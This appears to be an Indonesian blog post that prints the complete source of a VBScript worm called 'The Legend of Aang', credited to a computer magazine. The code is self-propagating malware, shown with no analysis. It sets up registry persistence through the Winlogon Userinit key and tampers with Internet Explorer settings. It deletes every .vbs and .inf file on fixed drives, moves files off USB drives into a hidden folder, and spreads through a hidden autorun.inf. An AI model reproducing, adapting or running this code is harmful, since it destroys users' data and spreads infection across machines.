Listing unencrypted
'******************** Now AnG is Encrypted ***************
'**************************************************************
'******************* Call me The legend of Aang ***************
Option Explicit
On Error Resume Next
Dim Fso
Set Fso = CreateObject("Scripting.FileSystemObject")
Dim Shells
Set Shells = CreateObject("Wscript.Shell")
Dim WinDir
Set WinDir = Fso.GetSpecialFolder(0)
Dim SystemDir
Set SystemDir =Fso.GetSpecialFolder(1)
Dim File
Set File = Fso.GetFile(WScript.ScriptFullName)
Dim Drv
Set Drv=File.Drive
Dim InDrive
Set InDrive = Fso.drives
Dim ReadAll,AllFile
Set ReadAll=File.OpenAsTextStream(1,-2)
do while not ReadAll.atendofstream
AllFile = AllFile & ReadAll.readline & vbcrlf
Loop
Dim Count
Count=Drv.DriveType
Dim WriteAll
Do
If Not Fso.FileExists(SystemDir & "\Aang.vbs") then
set WriteAll = Fso.CreateTextFile(SystemDir & "\Aang.vbs",2,true)
WriteAll.Write AllFile
WriteAll.close
set WriteAll = Fso.GetFile(SystemDir & "\Aang.vbs")
WriteAll.Attributes = -1
End If
Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _
SystemDir & "\wscript.exe " & SystemDir & "\Aang.vbs"
Dim Drives
For Each Drives In InDrive
If Drives.DriveType=2 Then
LookVBS "inf",Drives.Path & "\"
LookVBS "INF",Drives.Path & "\"
End if
If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
If Drives.Path<> "A:" Then
Shells.Regdelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL"
Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title",""
Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",""
Shells.RegWrite "HKCR\vbsfile\DefaultIcon","%SystemRoot%\System32\WScript.exe,2"
LookVBS "vbs",WinDir & "\"
LookVBS "vbs",Drives.Path & "\"
If Drives.DriveType = 1 Then
If Drives.Path<>"A:" Then
If Not Fso.FileExists(Drives.Path & "\The_Legend_Of_Aang.vbs") Then
set writeall=fso.CreateFolder (SystemDir & "\RemovableCache")
writeall.close
set writeall=fso.copyfolder (Drives.path & "\*",SystemDir & "\RemovableCache")
writeall.close
set writeall=fso.moveFile (Drives.path & "\*.*",SystemDir & "\RemovableCache")
writeall.close
'set writeall=fso.Deletefolder (Drives.path & "\*",2)
writeall.close
'set writeall=fso.DeleteFile (Drives.path & "\*.*",2)
writeall.close
Set WriteAll=Fso.CreateTextFile(Drives.Path & "\The_Legend_Of_Aang.vbs",2,True)
WriteAll.Write AllFile
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\The_Legend_Of_Aang.vbs")
WriteAll.Attributes = -1
writeall.close
End If
If Fso.FileExists(Drives.Path & "\autorun.inf") Or Fso.FileExists(Drives.Path & "\AUTORUN.INF") Then
Dim Chg
Set Chg = Fso.GetFile(Drives.Path & "\autorun.inf")
Chg.Attributes = -8
End if
Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
WriteAll.writeline "[Autorun]" & vbcrlf & "UseAutoplay=1" & vbcrlf & "Icon=%SystemRoot%\system32\SHELL32.dll,7" & vbcrlf & "Shellexecute=wscript.exe The_Legend_Of_Aang.vbs" & vbCrLf & "Shell\OPEN\COMMAND=wscript.exe The_Legend_Of_Aang.vbs"& VbCrlf &"Shell\explore\COMMAND=wscript.exe The_Legend_Of_Aang.vbs" & VbCrLf & "Action=Open folder to view files"
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
WriteAll.Attributes = -1
End If
End if
End if
End If
Next
if Count <> 1 then
Wscript.sleep 10000
end if
loop while Count<>1
sub LookVBS(File2Find, SrchPath)
Dim oFileSys, oFolder, oFile,Cut,Delete
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oFolder = oFileSys.GetFolder(SrchPath)
For Each oFile In oFolder.Files
Cut=Right(oFile.Name,3)
If UCase(Cut)=UCase(file2find) Then
If oFile.Name <> "The_Legend_Of_Aang.vbs" Then Set Delete = oFileSys.DeleteFile(srchpath & oFile.Name,true)
End If
Next
End sub
sumber :mjalah komputer chip
Tidak ada komentar:
Posting Komentar